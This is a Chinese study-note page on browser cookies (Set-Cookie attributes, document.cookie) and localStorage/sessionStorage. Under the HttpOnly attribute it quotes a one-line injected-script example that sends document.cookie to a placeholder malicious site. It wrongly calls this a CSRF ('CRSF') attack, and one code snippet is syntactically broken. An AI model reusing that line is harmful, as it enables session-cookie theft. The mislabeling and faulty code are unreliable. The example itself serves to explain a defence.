Skip to content
目录
javascript
Cookie 是服务器保存在浏览器的一小段文本信息,//一般30个键值对,4KB。
        由 HTTP 协议生成,也主要是供 HTTP 协议使用
        '浏览器每次向服务器发出请求,就会自动附上这段信息'
        主机端口一致(就可以共享 Cookie)
        //window.navigator.cookieEnabled // 浏览器是否打开 Cookie 功能    
用来:
    1.分辨两个请求是否来自同一个浏览器
    2.对话(session)管理:保存登录、购物车等需要记录的信息。
    3.个性化:保存用户的偏好,比如网页的字体大小、背景色等等。
   4.追踪:记录和分析用户行为。  
       
           
Response时://服务器在浏览器写入一个 Cookie
    生成     
        HTTP/1.0 200 OK
        Content-type: text/html
        Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
        Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
        Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
        Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>

        eg:
            Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
    修改
        服务器改早先设置的 Cookie,必须同时满足四个条件:
            Cookie 的key、domain、path和secure都匹配。
        Set-Cookie: key1=value1; domain=example.com; path=/blog
            //改变上面这个 Cookie 的值,就必须使用同样的Set-Cookie。
            Set-Cookie: key1=value2; domain=example.com; path=/blog
                //只要有一个属性不同,就会生成一个全新的 Cookie,而不是替换掉原来那个 Cookie。
                Set-Cookie: key1=value2; domain=example.com; path=/
                    //上面的命令设置了一个全新的同名 Cookie,但是path属性不一样。下一次访问example.com/blog的时候,浏览器将向服务器发送两个同名的 Cookie。
                        Request时:
                            Cookie: key1=value1; key1=value2
                        //上面代码的两个 Cookie 是同名的,匹配越精确的 Cookie 排在越前面,path=/blog排在path=/ 前面。                
Request时: //浏览器一旦访问这个路径,浏览器就会附上这段 Cookie 发送给服务器
    发送
        //每个请求都会带上相应的 Cookie
        GET /sample_page.html HTTP/1.1
        Host: www.example.org
        Cookie: yummy_cookie=choco; tasty_cookie=strawberry
        
        服务器无法知道
            1.Cookie 的各种属性,比如何时过期。
            2.Cookie到底是一级域名设的,还是某一个二级域名设的。
        
        
Cookie 的7个属性: depm ssh
    1 Domain(请求哪些域名需要带该cookie)
    2 Path(请求哪些路径需要带该cookie)  
        eg: PATH属性是'/',那么请求'/docs'路径包含'/', 那它就需要带Cookie
        
    3 Expires(过期就删掉)
        //UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。
        Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; '浏览器根据本地时间,所以是不精确的'
    4 Max-Age(多少秒后删掉)
        '覆盖Expires'
    /如果不设置该Expires或Max-Age,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除/

        
    5 Secure(HTTPS才能发送该cooike)    
    6 HttpOnly(JS不能访问该cookie)
        防止(CRSF攻击)
        eg: 另一个网站注入了:(new Image()).src = "http://恶意网站/接收cookie?cookie=" + document.cookie;
            从而获取到我的cookie
    7 SameSite(A网站嵌入B的链接, 点击B链接会带B的cookie过去, 限制它)

document.cookie(用于读写当前网页的 Cookie)
    删除(唯一方法是expires搞过期)        

    增加(必须都写对才能成功增加,失败不提示的)
        一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加
            document.cookie = 'fontSize=14; '
                              + 'expires=' + someDate.toGMTString() + '; '
                              + 'path=/subdirectory; '
                              + 'domain=*.example.com';
            document.cookie = 'test2=world';
            document.cookie        // fontSize=14; test2=world

【浏览器存储】 WebStorage(localStorage)

javascript
存储大小最大为5M
sessionStorage  保存的数据用于浏览器的一次会话(session)
    通过点击链接(或者用了 window.open)打开的新标签页之间是属于同一个 session 的,
    但新开一个标签页总是会初始化一个新的 session,即使网站是一样的,它们也不属于同一个 session
localStorage    保存的数据长期存在

    //增
    localStorage.val=1
    //查
    var a=localStorage.val //1
    //删
    localStorage.removeItem('val');

//监听
//!! 在同一个网页修改本地存储,又在同一个网页监听,这样是没有效果的
window.addEventListener('storage', (e) {
  console.log(e.key);//key/newValue/oldValue/storageArea所有键值对/url另一个页面触发storege的地址
});
本站总访问量 次 本站访客数 人次

1111111111111111111